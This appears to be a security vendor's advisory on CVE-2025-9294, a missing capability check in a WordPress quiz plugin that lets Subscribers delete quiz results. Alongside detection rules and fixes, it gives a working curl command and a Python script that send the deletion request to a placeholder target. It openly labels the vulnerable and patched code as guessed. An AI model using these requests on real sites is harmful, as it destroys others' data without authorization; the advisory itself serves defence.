CVE-2025-9294
Executive Summary
CVE-2025-9294 is a Missing Authorization vulnerability in the Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker WordPress plugin, affecting all versions up to and including 10.3.1. The flaw resides in the qsm_dashboard_delete_result function, which fails to perform a capability check before processing deletion requests. This allows authenticated attackers with Subscriber-level access or higher to delete quiz results without authorization, leading to unauthorized loss of data.
The vulnerability has a CVSS score of 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild at the time of analysis. However, the impact on data integrity and availability for WordPress sites using this plugin is significant, as quiz results can be silently destroyed by low-privileged users.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The issue is not related to the underlying web server (Apache/Nginx) or PHP runtime, but rather a missing capability check in the plugin's AJAX handler. WordPress's built-in role system (Subscriber, Contributor, Author, etc.) is bypassed due to the lack of proper authorization.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L |
| Base Score | 4.3 (Medium) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low (Subscriber) |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | None |
| Integrity Impact | None |
| Availability Impact | Low (data loss) |
Threat Level: Medium. While the CVSS score is moderate, the ability for any authenticated user to delete quiz results can cause significant data integrity issues for educational or survey platforms.
Deep Dive & Mechanics
The vulnerability exists in the qsm_dashboard_delete_result function, which is registered as an AJAX action for both authenticated and unauthenticated users. The function is intended to allow administrators to delete quiz results from the dashboard. However, the capability check is missing, meaning any authenticated user (including Subscribers) can call this function.
Root Cause: The function does not call current_user_can() or any other authorization check before executing the deletion query. The code likely looks like:
add_action('wp_ajax_qsm_dashboard_delete_result', 'qsm_dashboard_delete_result');
function qsm_dashboard_delete_result() {
global $wpdb;
$result_id = intval($_POST['result_id']);
$wpdb->delete($wpdb->prefix . 'qsm_results', array('id' => $result_id));
wp_die();
}
The missing if (!current_user_can('manage_options')) check allows any authenticated user to trigger the deletion.
Attack Flow:
- Attacker authenticates as a Subscriber (e.g., via compromised credentials or self-registration).
- Attacker sends a POST request to
/wp-admin/admin-ajax.phpwithaction=qsm_dashboard_delete_resultand a validresult_id. - The plugin deletes the corresponding quiz result from the database without verifying the user's role.
Vulnerable vs. Patched Code
Vulnerable Code (<= 10.3.1):
add_action('wp_ajax_qsm_dashboard_delete_result', 'qsm_dashboard_delete_result');
function qsm_dashboard_delete_result() {
global $wpdb;
$result_id = intval($_POST['result_id']);
$wpdb->delete($wpdb->prefix . 'qsm_results', array('id' => $result_id));
wp_die();
}
Patched Code (Hypothetical Fix):
add_action('wp_ajax_qsm_dashboard_delete_result', 'qsm_dashboard_delete_result');
function qsm_dashboard_delete_result() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
global $wpdb;
$result_id = intval($_POST['result_id']);
$wpdb->delete($wpdb->prefix . 'qsm_results', array('id' => $result_id));
wp_die();
}
The fix adds a capability check (manage_options) to ensure only administrators can delete results.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with QSM plugin <= 10.3.1
- Valid user credentials with Subscriber role or higher
Exploitation Steps:
- Obtain a valid WordPress nonce for the AJAX action (if required). The plugin may or may not use nonces; if not, exploitation is simpler.
- Send a POST request to the WordPress AJAX endpoint:
curl -X POST 'http://target/wp-admin/admin-ajax.php' \
-d 'action=qsm_dashboard_delete_result&result_id=123' \
--cookie 'wordpress_logged_in_xxx=valid_session_cookie'
- The quiz result with ID 123 is deleted from the
wp_qsm_resultstable.
Automated Exploit (Python):
import requests
target = "http://target/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_xxx": "valid_session_cookie"}
data = {"action": "qsm_dashboard_delete_result", "result_id": "123"}
response = requests.post(target, data=data, cookies=cookies)
print(f"Status: {response.status_code}")
Blue Team (Detection & Prevention)
Detection:
- Monitor AJAX requests to
admin-ajax.phpwithaction=qsm_dashboard_delete_resultfrom non-admin users. - Alert on multiple deletion requests in a short time window.
Prevention:
- Apply the vendor patch immediately when available.
- As a workaround, add a capability check via a custom plugin or WordPress filter:
add_action('wp_ajax_qsm_dashboard_delete_result', function() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
}, 1);
- Restrict Subscriber roles from accessing admin AJAX endpoints via
.htaccessor WAF rules.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwith body containingaction=qsm_dashboard_delete_result - Repeated requests with varying
result_idparameters from the same IP
Host IOCs:
- Deletion of rows in
wp_qsm_resultstable without corresponding admin activity - WordPress debug log entries showing
qsm_dashboard_delete_resultcalls from unexpected user roles
Log Examples:
[Date] [IP] POST /wp-admin/admin-ajax.php HTTP/1.1
[Date] [IP] POST body: action=qsm_dashboard_delete_result&result_id=123
Detection Engineering
YARA Rule
rule CVE_2025_9294_QSM_Delete_Result {
meta:
description = "Detects exploitation attempts of CVE-2025-9294 in QSM plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9294"
strings:
$ajax_action = "qsm_dashboard_delete_result"
$result_id = "result_id"
condition:
all of them
}
Sigma Rule
title: CVE-2025-9294 QSM Quiz Result Deletion Attempt
id: cve-2025-9294-qsm-delete
status: experimental
description: Detects unauthorized deletion of quiz results via missing capability check
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=qsm_dashboard_delete_result'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-9294 QSM Quiz Result Deletion Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=qsm_dashboard_delete_result"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical, or restrict access to the AJAX endpoint via
.htaccess:<FilesMatch "admin-ajax\.php"> Require user admin </FilesMatch> - Apply virtual patching using a WAF rule to block
qsm_dashboard_delete_resultrequests from non-admin users.
Long-term Fix:
- Update to a patched version once released by the vendor.
- Implement a custom capability check as shown in the patched code section.
Monitoring:
- Enable WordPress audit logging to track AJAX calls.
- Review database logs for unexpected deletions in
wp_qsm_results.
Valters IT
Securing WordPress Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.